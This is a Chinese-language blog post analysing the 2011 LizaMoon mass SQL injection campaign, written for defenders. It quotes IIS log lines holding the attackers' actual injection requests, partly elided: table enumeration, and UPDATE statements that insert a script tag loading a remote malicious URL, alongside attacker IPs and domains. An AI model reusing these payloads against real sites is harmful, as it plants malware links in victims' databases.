名為LizaMoon的SQL注入攻擊正在席卷全球
最近McAfee.com，MySql.com和Sun.com接連被黑，被黑的根源則在于SQL注入攻擊。這個呈下降趨勢的攻擊方式，再次成為安全人士的焦點。
資安廠商Websense在3月29日發(fā)布了一則消息，一個被命名為LizaMoon的（SQL Injection）SQL注入攻擊正在席卷全球，已有許多網(wǎng)站遭受攻擊，網(wǎng)頁內容中被塞了lizamoon字串，疑似掛馬連結，透過Google查詢lizamoon. com關鍵詞，被稙入惡意連結的URL數(shù)在兩天內由28,000個急速增加到380,000個(2011/03/31 22:00 UTC+8時的資料)，有如海嘯狂掃(Websense說: it makes it one of the bigger mass-injection attacks we have ever seen.)， 甚至iTune網(wǎng)站也名列其中。
不過，依據(jù)分析iTune中出現(xiàn)的惡意連結已被HtmlEncode為<script不至產(chǎn)生危害，并且推 斷中鏢數(shù)據(jù)下載自其他信息源，并非iTune本身受害，而加上HtmlEncode的處置也深得Websense贊許。(HtmlEncode真的很重 要! 由ASP.NET 4特別為它提供更簡潔的新語法就知道它被呼叫的頻率該有多高，如果你不知道為何它與資安有關，不妨看一下ASP.NET防駭指南)
httq: // lizamoon. com / ur . php這個URL目前是無效的(該不會因為被太多植入連結網(wǎng)站DDoS打掛了吧? XD)，但網(wǎng)站是活的。在它曾經(jīng)有效的一段期間，ur.php會傳回一段Script將用戶導向一個著名的假冒防毒網(wǎng)站，不過該網(wǎng)站也掛點中。 Websense調查了lizamoon. com的底細，發(fā)現(xiàn)它是3/25才用假資料注冊的，換句話說，這波攻擊只花了短短幾天就污染了超過38萬個網(wǎng)址(以URL計，非網(wǎng)站數(shù))，而且開始注入開 始出現(xiàn)lizamoon以外的域名的Script連結網(wǎng)址。
目前網(wǎng)絡上找到的數(shù)據(jù)尚少，無從推斷太多攻擊細節(jié)，不過我在ASP.NET官方討論區(qū)的一個討論串倒是找到不少蛛絲馬跡...
| My database was inserted a string like "</title><script src=http://lizamoon.com/ur.php></script>". Event(Even?) the username field in aspnet_users table. So now I can't login my website if I use asp.net security. Who know about this problem please tell me what happening with my database or my website. |
由開場白看來，連aspnet_users的username字段都被注入惡意script連結，非常像古早前看過的游擊式（SQL Injection）SQL注入攻擊， 攻擊程序將全部SQL指令濃縮成一列，隨意嘗試連上有帶QueryString參數(shù)并夾帶攻擊用的SQL指令加在網(wǎng)址后方，一旦該網(wǎng)頁有（SQL Injection）SQL注入漏洞，則附加于參數(shù)中的SQL指令就會被執(zhí)行，查詢SQL Server的sysobjects, syscolumns，列出所有的文字字段，并透過UPDATE指令在所有文字字段都插入惡意script連結，一旦這些字段被讀取顯示在前端，又未經(jīng) HtmlEncode轉換，網(wǎng)頁中就會包含
| <script src="惡意Script" /> |
不過，更進一步檢視討論串，倒有了不同的結論:
Same for us. We cleaned the code yesterday, and moments ago... the same. (會反復中鏢，表示攻擊程序不只一只? 或是程序會持續(xù)攻擊?)
幾個可疑IP: 95.64.9.18(來自羅馬尼亞), 91.217.162.45(來自烏克蘭，著名的邪惡網(wǎng)絡)
網(wǎng)友提供珍貴的IISLog(進行入侵鑒識時，這是超重要的線索)
| 2011-03-11 16:34:45 W3SVC1746246233 *MYSERVERIP* GET /dir/linkdetail.aspx id=11011+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+where+TABLE_NAME+not+in+(SELECT+TOP+0+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES))-- 80 - 91.217.162.45 Mozilla/5.0+(Windows;+U;+Windows+NT+5.0;+en-US;+rv:1.4)+Gecko/20030624+Netscape/7.1+(ax) 500 0 0
Doc.asp?id=PU12731+update+gCategoriasHistoricoTiposDescripciones+set+Descripcion=REPLACE(cast(Descripcion+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105) ....省略, 用CHR(nn)一個字符一個字符組出</title><script src=httq:// lazemoon .com / ur . php></script>…%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))-- - 95.64.9.18 Mozilla/5.0+(Windows;+U;+Windows+NT+5.0;+en-US;+rv:1.4)+Gecko/20030624+Netscape/7.1+(ax) - 302 498 2011-03-29 17:56:49 <<my server ip address>> GET /<<pagename>>.asp prod=MG0011'+update+tblMembers+set+Forename=REPLACE(cast(Forename+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105) ....省略, 用CHR(nn)一個字符一個字符組出</title><script src=httq:// lazemoon .com / ur . php></script>… %2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))-- 80 - 95.64.9.18 HTTP/1.1 Mozilla/5.0+(Windows;+U;+Windows+NT+5.0;+en-US;+rv:1.4)+Gecko/20030624+Netscape/7.1+(ax) |
由這些Log來看，惡意SQL會鎖定特定Table及字段，不像上回觀察用sysobjects, syscolumns+CURSOR亂槍打鳥，顯示本次攻擊并非打了就跑，會先掌握數(shù)據(jù)庫Schema的信息后再精準下手，所以前后應有多次存取(不知道為什么要選擇這種做法，我還是覺得游擊式的玩法比較有創(chuàng)意，唯一的缺點是Table、字段及數(shù)據(jù)很多時，執(zhí)行起來耗時較久)
3/31起出現(xiàn)了非LizaMoon的網(wǎng)域用來掛ur.php (tadygus . com, verhoef – training. co. uk, t6ryt56 . info) ，顯示透過防火墻封鎖lizamoon. com也無法社絕使用者誤連惡意網(wǎng)站的可能。
雖然對LizaMoon （SQL Injection）SQL注入充滿好奇，但依目前搜集到的資料就只能做出以上推測，如果有新的發(fā)展再做補充啰。
老話一句，大家千萬不要把（SQL Injection）SQL注入寫進程序里變成害網(wǎng)站裸奔的豬頭呀!
【編輯推薦】
